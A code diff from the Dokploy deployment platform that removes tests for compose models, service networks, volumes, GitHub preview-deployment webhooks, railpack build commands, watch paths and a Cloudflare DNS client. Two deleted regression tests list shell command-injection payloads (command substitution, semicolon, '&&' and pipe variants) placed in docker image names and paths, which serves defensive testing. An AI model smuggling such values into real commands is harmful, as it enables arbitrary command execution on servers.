-		llm: {
-			endpoint_var: "LLM_URL",
-			model_var: "LLM_MODEL",
-		},
-	});
-	expect(updated.services).not.toHaveProperty("app");
-	expect(updated.models).not.toHaveProperty("llm-testhash");
-});
-
-test("isolated deployment preserves model identifiers", () => {
-	const updated = addAppNameToPreventCollision(
-		structuredClone(modelCompose),
-		"chat-app",
-		false,
-	);
-
-	expect(updated.models?.llm?.model).toBe("ai/smollm2");
-	expect(updated.services?.app?.models).toEqual(["llm"]);
-	expect(updated.services?.worker?.models).toEqual({
-		llm: {
-			endpoint_var: "LLM_URL",
-			model_var: "LLM_MODEL",
-		},
-	});
-});
-
-test("raw remote compose conversion preserves models", async () => {
-	const converted = await addDomainToCompose(
-		{
-			appName: "chat-app",
-			composeFile: stringify(modelCompose, { lineWidth: 1000 }),
-			composePath: "./docker-compose.yml",
-			composeType: "docker-compose",
-			isolatedDeployment: false,
-			isolatedDeploymentsVolume: false,
-			randomize: false,
-			serverId: "remote-server",
-			sourceType: "raw",
-			suffix: "",
-		} as unknown as Compose,
-		[],
-	);
-
-	expect(execAsyncRemote).not.toHaveBeenCalled();
-	expect(converted?.models?.llm?.model).toBe("ai/smollm2");
-	expect(converted?.services?.app?.models).toEqual(["llm"]);
-	expect(converted?.services?.worker?.models).toEqual({
-		llm: {
-			endpoint_var: "LLM_URL",
-			model_var: "LLM_MODEL",
-		},
-	});
-});

apps/dokploy/__test__/compose/network/service-networks.test.ts

@@ -1,199 +0,0 @@
-import type { Compose, ComposeSpecification } from "@dokploy/server";
-import {
-	applyServiceNetworks,
-	declareUsedNetworksInRoot,
-	resolveServiceNetworks,
-} from "@dokploy/server";
-import { db } from "@dokploy/server/db";
-import { beforeEach, expect, test, type vi } from "vitest";
-import { parse } from "yaml";
-
-const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
-
-beforeEach(() => {
-	findManyMock.mockReset();
-	findManyMock.mockResolvedValue([]);
-});
-
-const baseCompose = {
-	serverId: null,
-	isolatedDeployment: false,
-} as unknown as Compose;
-
-const withServiceNetworks = (
-	serviceNetworks: Compose["serviceNetworks"],
-): Compose => ({ ...baseCompose, serviceNetworks });
-
-test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(result, withServiceNetworks([]));
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.web?.networks).toBeUndefined();
-	expect(findManyMock).not.toHaveBeenCalled();
-});
-
-test("applyServiceNetworks: injects assigned network by networkId", async () => {
-	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "web",
-				networkIds: ["net-1"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.has("shared-net")).toBe(true);
-	expect(result.services?.web?.networks).toContain("shared-net");
-});
-
-test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
-	const result = parse(`
-services:
-  db:
-    image: postgres
-    networks:
-      - dokploy-network
-      - default
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.db?.networks).not.toContain("dokploy-network");
-	expect(result.services?.db?.networks).not.toContain("default");
-});
-
-test("applyServiceNetworks: unknown networkId is skipped", async () => {
-	findManyMock.mockResolvedValue([]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "web",
-				networkIds: ["missing"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-});
-
-test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
-	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "ghost",
-				networkIds: ["net-1"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.web?.networks).toBeUndefined();
-});
-
-test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
-	const used = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - dokploy-network
-`) as ComposeSpecification;
-	declareUsedNetworksInRoot(used, new Set());
-	expect(used.networks).toHaveProperty("dokploy-network");
-
-	const unused = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - default
-`) as ComposeSpecification;
-	declareUsedNetworksInRoot(unused, new Set());
-	expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
-});
-
-test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
-	const result = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - shared-net
-`) as ComposeSpecification;
-
-	declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
-
-	expect(result.networks).toHaveProperty("shared-net");
-	expect(result.networks ?? {}).not.toHaveProperty("unused-net");
-});
-
-test("resolveServiceNetworks: returns dokploy-network by default", async () => {
-	const resolved = await resolveServiceNetworks({});
-	expect(resolved).toEqual([{ Target: "dokploy-network" }]);
-	expect(findManyMock).not.toHaveBeenCalled();
-});
-
-test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
-	const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
-	expect(resolved).toEqual([]);
-});
-
-test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
-	findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
-
-	const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
-
-	expect(resolved).toEqual([
-		{ Target: "dokploy-network" },
-		{ Target: "overlay-a" },
-	]);
-});
-
-test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
-	const override = [{ Target: "custom-net" }];
-	const resolved = await resolveServiceNetworks({ networkSwarm: override });
-
-	expect(resolved).toBe(override);
-	expect(findManyMock).not.toHaveBeenCalled();
-});

apps/dokploy/__test__/compose/volume/volume-services.test.ts

@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
 	);
 });
 
-const composeFileAccessMode = `
-version: "3.8"
-
-services:
-  web:
-    image: nginx:alpine
-    volumes:
-      - web_config:/etc/nginx/conf.d:ro
-      - certs/sub:/etc/certs:Z
-`;
-
-test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
-	const composeData = parse(composeFileAccessMode) as ComposeSpecification;
-
-	const suffix = generateRandomHash();
-
-	if (!composeData.services) {
-		return;
-	}
-
-	const updatedComposeData = addSuffixToVolumesInServices(
-		composeData.services,
-		suffix,
-	);
-
-	expect(updatedComposeData.web?.volumes).toContain(
-		`web_config-${suffix}:/etc/nginx/conf.d:ro`,
-	);
-	expect(updatedComposeData.web?.volumes).toContain(
-		`certs-${suffix}/sub:/etc/certs:Z`,
-	);
-});
-
 const composeFileTypeVolume = `
 version: "3.8"
 

apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
-// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
-// path. `docker` is replaced by `:` so only the injection surface is exercised.
-const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"redis:7; touch %MARK%",
-	"redis:7 && touch %MARK%",
-	"redis:7 | touch %MARK%",
-];
-
-describe("database service dockerImage command injection", () => {
-	it("does not execute injected commands from dockerImage", () => {
-		for (const template of PAYLOADS) {
-			if (existsSync(MARK)) rmSync(MARK);
-			const dockerImage = template.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}`;
-			try {
-				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-			} catch {}
-			expect(existsSync(MARK)).toBe(false);
-		}
-		if (existsSync(MARK)) rmSync(MARK);
-	});
-
-	it("keeps a legitimate image tag intact", () => {
-		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
-			"postgres:16.4-alpine",
-		]);
-		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
-			"ghcr.io/org/db:latest",
-		]);
-	});
-});

apps/dokploy/__test__/deploy/docker-build-injection.test.ts

@@ -1,66 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Reproduces the escaping applied at the docker build/pull sinks and asserts no
-// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
-// test exercises only the injection surface, not real docker.
-const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
-
-const runAndCheckSafe = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {
-		// no-op stand-ins may exit non-zero; only the marker matters.
-	}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"x; touch %MARK%",
-	"x && touch %MARK%",
-	"x | touch %MARK%",
-];
-
-describe("docker build/pull command injection", () => {
-	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerImage = p.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("dockerContextPath (docker-file: cd) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerContextPath = p.replace("%MARK%", MARK);
-			const command = `: cd ${quote([dockerContextPath])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const publishDirectory = p.replace("%MARK%", MARK);
-			const containerId = "buildabc";
-			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate image / path intact as a single token", () => {
-		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
-		// the result back to exactly the original single token.
-		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
-		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
-			"registry.io/team/app:tag",
-		]);
-		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
-	});
-});

apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts

@@ -1,43 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, readFileSync, rmSync } from "node:fs";
-import { join } from "node:path";
-import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
-import { parse } from "dotenv";
-import { afterEach, describe, expect, it } from "vitest";
-
-// Unlike compose's .env, this one is read by the app's own build tooling
-// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
-const appName = `env-file-literals-dockerfile-${process.pid}`;
-const projectPath = join(process.cwd(), ".docker", "compose", appName);
-const codePath = join(projectPath, "code");
-const dockerFilePath = join(codePath, "Dockerfile");
-
-afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
-
-const cases: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	NESTED_JSON: '{"nested":{"a":1}}',
-	QUOTE_INSIDE: 'she said "hi"',
-	BACKSLASH: "back\\slash",
-	UNICODE: "héllo wörld 日本語 🚀",
-};
-
-describe("createEnvFileCommand", () => {
-	it("writes special environment values that a generic dotenv parser reads back literally", () => {
-		mkdirSync(codePath, { recursive: true });
-
-		const serviceEnv = Object.entries(cases)
-			.map(([key, value]) => `${key}=${value}`)
-			.join("\n");
-
-		const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
-		execFileSync("bash", ["-c", command]);
-
-		const written = readFileSync(join(codePath, ".env"), "utf8");
-		const parsed = parse(written);
-
-		for (const [key, value] of Object.entries(cases)) {
-			expect(parsed[key], key).toBe(value);
-		}
-	});
-});

apps/dokploy/__test__/deploy/github-webhook-handler.test.ts

@@ -12,8 +12,6 @@ const mocks = vi.hoisted(() => ({
 	queueAdd: vi.fn(),
 	verify: vi.fn(),
 	shouldDeploy: vi.fn(),
-	createPreviewDeployment: vi.fn(),
-	findPreviewDeploymentByApplicationId: vi.fn(),
 }));
 
 vi.mock("drizzle-orm", () => ({
@@ -66,11 +64,10 @@ vi.mock("@dokploy/server", () => ({
 	IS_CLOUD: false,
 	shouldDeploy: mocks.shouldDeploy,
 	checkUserRepositoryPermissions: vi.fn(),
-	createPreviewDeployment: mocks.createPreviewDeployment,
+	createPreviewDeployment: vi.fn(),
 	createSecurityBlockedComment: vi.fn(),
 	findGithubById: vi.fn(),
-	findPreviewDeploymentByApplicationId:
+	findPreviewDeploymentByApplicationId: vi.fn(),
-		mocks.findPreviewDeploymentByApplicationId,
 	findPreviewDeploymentsByPullRequestId: vi.fn(),
 	getBitbucketHeaders: vi.fn(() => ({})),
 	removePreviewDeployment: vi.fn(),
@@ -324,157 +321,3 @@ describe("GitHub app webhook auto-deploy", () => {
 		expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
 	});
 });
-
-describe("GitHub app webhook preview deployments", () => {
-	const createApplication = (
-		overrides: Record<string, unknown> = {},
-	): Record<string, unknown> => ({
-		applicationId: "application-id",
-		name: "my-app",
-		serverId: null,
-		previewLabels: [],
-		previewLimit: 3,
-		previewDeployments: [],
-		previewRequireCollaboratorPermissions: false,
-		...overrides,
-	});
-
-	const createPreviewDeployments = (total: number) =>
-		Array.from({ length: total }, (_, index) => ({
-			previewDeploymentId: `existing-preview-${index}`,
-		}));
-
-	const createPullRequestRequest = (action: string) =>
-		({
-			headers: {
-				"x-hub-signature-256": "sha256=test-signature",
-				"x-github-event": "pull_request",
-			},
-			body: {
-				installation: {
-					id: 12345,
-				},
-				action,
-				pull_request: {
-					id: 987,
-					number: 42,
-					title: "feat: add preview",
-					html_url: "https://github.com/agentHits/dokploy/pull/42",
-					labels: [],
-					user: {
-						login: "agentHits",
-					},
-					head: {
-						ref: "feature",
-						sha: "abc123",
-					},
-					base: {
-						ref: "main",
-					},
-				},
-				repository: {
-					name: "dokploy",
-					owner: {
-						login: "agentHits",
-					},
-				},
-			},
-		}) as unknown as NextApiRequest;
-
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mocks.githubFindFirst.mockResolvedValue({
-			githubId: "github-provider-id",
-			githubInstallationId: 12345,
-			githubWebhookSecret: "webhook-secret",
-		});
-		mocks.verify.mockResolvedValue(true);
-		mocks.queueAdd.mockResolvedValue({ id: "job-id" });
-		mocks.createPreviewDeployment.mockResolvedValue({
-			previewDeploymentId: "new-preview-id",
-		});
-		mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
-	});
-
-	it("redeploys an existing preview even when the limit is reached", async () => {
-		mocks.applicationsFindMany.mockResolvedValue([
-			createApplication({
-				previewLimit: 2,
-				previewDeployments: createPreviewDeployments(3),
-			}),
-		]);
-		mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
-			previewDeploymentId: "existing-preview-0",
-		});
-		const res = createResponse();
-
-		await handler(createPullRequestRequest("synchronize"), res);
-
-		expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
-		expect(mocks.queueAdd).toHaveBeenCalledWith(
-			"deployments",
-			expect.objectContaining({
-				applicationId: "application-id",
-				applicationType: "application-preview",
-				previewDeploymentId: "existing-preview-0",
-				type: "deploy",
-			}),
-			expect.objectContaining({
-				removeOnComplete: true,
-				removeOnFail: true,
-			}),
-		);
-		expect(res.status).toHaveBeenCalledWith(200);
-	});
-
-	it("does not create a new preview once the limit is reached", async () => {
-		mocks.applicationsFindMany.mockResolvedValue([
-			createApplication({
-				previewLimit: 2,
-				previewDeployments: createPreviewDeployments(2),
-			}),
-		]);
-		const res = createResponse();
-
-		await handler(createPullRequestRequest("opened"), res);
-
-		expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
-		expect(mocks.queueAdd).not.toHaveBeenCalled();
-		expect(res.status).toHaveBeenCalledWith(200);
-	});
-
-	it("falls back to the default limit when none is configured", async () => {
-		mocks.applicationsFindMany.mockResolvedValue([
-			createApplication({
-				previewLimit: null,
-				previewDeployments: createPreviewDeployments(2),
-			}),
-		]);
-		const res = createResponse();
-
-		await handler(createPullRequestRequest("opened"), res);
-
-		expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
-			expect.objectContaining({
-				applicationId: "application-id",
-				branch: "feature",
-				pullRequestId: 987,
-				pullRequestNumber: 42,
-			}),
-		);
-		expect(mocks.queueAdd).toHaveBeenCalledWith(
-			"deployments",
-			expect.objectContaining({
-				applicationId: "application-id",
-				applicationType: "application-preview",
-				previewDeploymentId: "new-preview-id",
-				type: "deploy",
-			}),
-			expect.objectContaining({
-				removeOnComplete: true,
-				removeOnFail: true,
-			}),
-		);
-		expect(res.status).toHaveBeenCalledWith(200);
-	});
-});

apps/dokploy/__test__/deploy/railpack.command.test.ts

@@ -1,113 +0,0 @@
-import type { ApplicationNested } from "@dokploy/server/utils/builders";
-import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
-import { describe, expect, it } from "vitest";
-
-const createApplication = (
-	overrides: Partial<ApplicationNested> = {},
-): ApplicationNested =>
-	({
-		appName: "test-app",
-		buildType: "railpack",
-		sourceType: "git",
-		buildPath: "/",
-		railpackVersion: "0.15.4",
-		env: "TEST_VAR=one",
-		cleanCache: false,
-		environment: {
-			project: {
-				env: "",
-			},
-			env: "",
-		},
-		...overrides,
-	}) as unknown as ApplicationNested;
-
-const getSecretsHash = (command: string) => {
-	const match = command.match(/secrets-hash=([a-f0-9]{64})/);
-	if (!match?.[1]) {
-		throw new Error("secrets-hash build arg was not found");
-	}
-
-	return match[1];
-};
-
-describe("getRailpackCommand", () => {
-	it("includes secrets-hash without clean cache", () => {
-		const command = getRailpackCommand(createApplication());
-
-		expect(command).toContain("--build-arg secrets-hash=");
-		expect(command).not.toContain("cache-key=");
-	});
-
-	it("includes cache-key only when clean cache is enabled", () => {
-		const command = getRailpackCommand(
-			createApplication({
-				cleanCache: true,
-			}),
-		);
-
-		expect(command).toContain("--build-arg secrets-hash=");
-		expect(command).toContain("--build-arg cache-key=");
-	});
-
-	it("installs Railpack through sudo for non-root users", () => {
-		const command = getRailpackCommand(createApplication());
-
-		expect(command).toContain(
-			'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
-		);
-		expect(command).toContain("sudo -n true 2>/dev/null");
-	});
-
-	it("changes secrets-hash when an environment value changes", () => {
-		const firstCommand = getRailpackCommand(
-			createApplication({
-				env: "TEST_VAR=one",
-			}),
-		);
-		const secondCommand = getRailpackCommand(
-			createApplication({
-				env: "TEST_VAR=two",
-			}),
-		);
-
-		expect(getSecretsHash(firstCommand)).not.toEqual(
-			getSecretsHash(secondCommand),
-		);
-	});
-
-	it("changes secrets-hash when referenced project or environment values change", () => {
-		const firstCommand = getRailpackCommand(
-			createApplication({
-				env: [
-					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
-					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
-				].join("\n"),
-				environment: {
-					project: {
-						env: "SHARED_VALUE=one",
-					},
-					env: "SHARED_VALUE=alpha",
-				},
-			} as Partial<ApplicationNested>),
-		);
-		const secondCommand = getRailpackCommand(
-			createApplication({
-				env: [
-					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
-					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
-				].join("\n"),
-				environment: {
-					project: {
-						env: "SHARED_VALUE=two",
-					},
-					env: "SHARED_VALUE=beta",
-				},
-			} as Partial<ApplicationNested>),
-		);
-
-		expect(getSecretsHash(firstCommand)).not.toEqual(
-			getSecretsHash(secondCommand),
-		);
-	});
-});

apps/dokploy/__test__/deploy/should-deploy.test.ts

@@ -16,30 +16,6 @@ describe("shouldDeploy", () => {
 		expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
 	});
 
-	it("should apply multiple negated watch paths as one pattern set", () => {
-		const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
-
-		expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
-		expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
-		expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
-			false,
-		);
-	});
-
-	it("should deploy when a changed file remains after exclusions", () => {
-		const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
-
-		expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
-	});
-
-	it("should combine positive and negated watch paths", () => {
-		const watchPaths = ["src/**", "!src/**/*.test.ts"];
-
-		expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
-		expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
-		expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
-	});
-
 	it("should not throw when modified files contain non-string values", () => {
 		expect(() =>
 			shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),

apps/dokploy/__test__/dns/cloudflare.test.ts

@@ -1,453 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-const cfSuccess = (result: unknown) =>
-	jsonResponse({ success: true, errors: [], result });
-
-const cfError = (message: string, status = 400) =>
-	jsonResponse(
-		{ success: false, errors: [{ code: 1, message }] },
-		false,
-		status,
-	);
-
-const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
-
-beforeEach(() => {
-	mockFetch.mockReset();
-});
-
-describe("cloudflareClient.listZones", () => {
-	it("returns a single page of zones", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
-
-		const zones = await cloudflareClient.listZones(config);
-
-		expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		const [url] = mockFetch.mock.calls[0] as [string];
-		expect(url).toContain("/zones?per_page=50&page=1");
-	});
-
-	it("paginates until a short page is returned", async () => {
-		const page = (count: number) =>
-			cfSuccess(
-				Array.from({ length: count }, (_, i) => ({
-					id: `z${i}`,
-					name: `zone${i}.com`,
-				})),
-			);
-		mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
-
-		const zones = await cloudflareClient.listZones(config);
-
-		expect(zones).toHaveLength(53);
-		expect(mockFetch).toHaveBeenCalledTimes(2);
-		expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
-	});
-});
-
-describe("cloudflareClient.listRecords", () => {
-	it("lists records for a zone", async () => {
-		mockFetch.mockResolvedValue(
-			cfSuccess([
-				{
-					id: "r1",
-					type: "A",
-					name: "app.example.com",
-					content: "1.2.3.4",
-					ttl: 1,
-				},
-			]),
-		);
-
-		const records = await cloudflareClient.listRecords(config, "zone-1");
-
-		expect(records).toEqual([
-			{
-				id: "r1",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 1,
-			},
-		]);
-		expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
-	});
-});
-
-describe("cloudflareClient MX priority", () => {
-	it("inlines the priority into the content when listing", async () => {
-		mockFetch.mockResolvedValue(
-			cfSuccess([
-				{
-					id: "mx-1",
-					type: "MX",
-					name: "example.com",
-					content: "mail.example.com",
-					ttl: 300,
-					priority: 20,
-				},
-			]),
-		);
-
-		const records = await cloudflareClient.listRecords(config, "zone-1");
-
-		expect(records[0]?.content).toBe("20 mail.example.com");
-	});
-
-	it("splits the priority back out when writing", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "MX",
-			name: "example.com",
-			content: "20 mail.example.com",
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(JSON.parse(init.body as string)).toMatchObject({
-			content: "mail.example.com",
-			priority: 20,
-		});
-	});
-
-	it("falls back to priority 10 when the content has no leading number", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "MX",
-			name: "example.com",
-			content: "mail.example.com",
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(JSON.parse(init.body as string)).toMatchObject({
-			content: "mail.example.com",
-			priority: 10,
-		});
-	});
-
-	it("leaves non-MX content untouched", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "TXT",
-			name: "example.com",
-			content: "10 not-a-priority",
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(init.body as string);
-		expect(body.content).toBe("10 not-a-priority");
-		expect(body.priority).toBeUndefined();
-	});
-});
-
-describe("cloudflareClient structured records", () => {
-	const stubCreate = () =>
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "rec-1" }));
-
-	it("sends SRV values as structured data", async () => {
-		stubCreate();
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "SRV",
-			name: "_sip._tcp.example.com",
-			content: "1 10 5269 talk.example.com",
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(init.body as string);
-		expect(body.data).toEqual({
-			priority: 1,
-			weight: 10,
-			port: 5269,
-			target: "talk.example.com",
-		});
-		expect(body.content).toBeUndefined();
-	});
-
-	it("sends CAA values as structured data and drops the quotes", async () => {
-		stubCreate();
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "CAA",
-			name: "example.com",
-			content: '0 issue "letsencrypt.org"',
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(init.body as string);
-		expect(body.data).toEqual({
-			flags: 0,
-			tag: "issue",
-			value: "letsencrypt.org",
-		});
-		expect(body.content).toBeUndefined();
-	});
-
-	it("rejects an SRV value that is missing a part", async () => {
-		await expect(
-			cloudflareClient.upsertRecord(config, {
-				zoneId: "zone-1",
-				type: "SRV",
-				name: "_sip._tcp.example.com",
-				content: "1 10 5269",
-			}),
-		).rejects.toThrow(/SRV value/);
-	});
-
-	it("rejects a CAA value that has no tag", async () => {
-		await expect(
-			cloudflareClient.upsertRecord(config, {
-				zoneId: "zone-1",
-				type: "CAA",
-				name: "example.com",
-				content: "0",
-			}),
-		).rejects.toThrow(/CAA value/);
-	});
-});
-
-describe("cloudflareClient proxy status", () => {
-	it("sends the proxy status for proxiable types", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-			proxied: true,
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(JSON.parse(init.body as string).proxied).toBe(true);
-	});
-
-	it("omits the proxy status for types Cloudflare cannot proxy", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "TXT",
-			name: "example.com",
-			content: "hello",
-			proxied: true,
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(JSON.parse(init.body as string).proxied).toBeUndefined();
-	});
-
-	it("leaves the proxy status untouched when the caller does not set it", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect("proxied" in JSON.parse(init.body as string)).toBe(false);
-	});
-
-	it("returns the proxy status when listing records", async () => {
-		mockFetch.mockResolvedValue(
-			cfSuccess([
-				{
-					id: "a-1",
-					type: "A",
-					name: "app.example.com",
-					content: "1.2.3.4",
-					ttl: 1,
-					proxied: true,
-				},
-			]),
-		);
-
-		const records = await cloudflareClient.listRecords(config, "zone-1");
-
-		expect(records[0]?.proxied).toBe(true);
-	});
-});
-
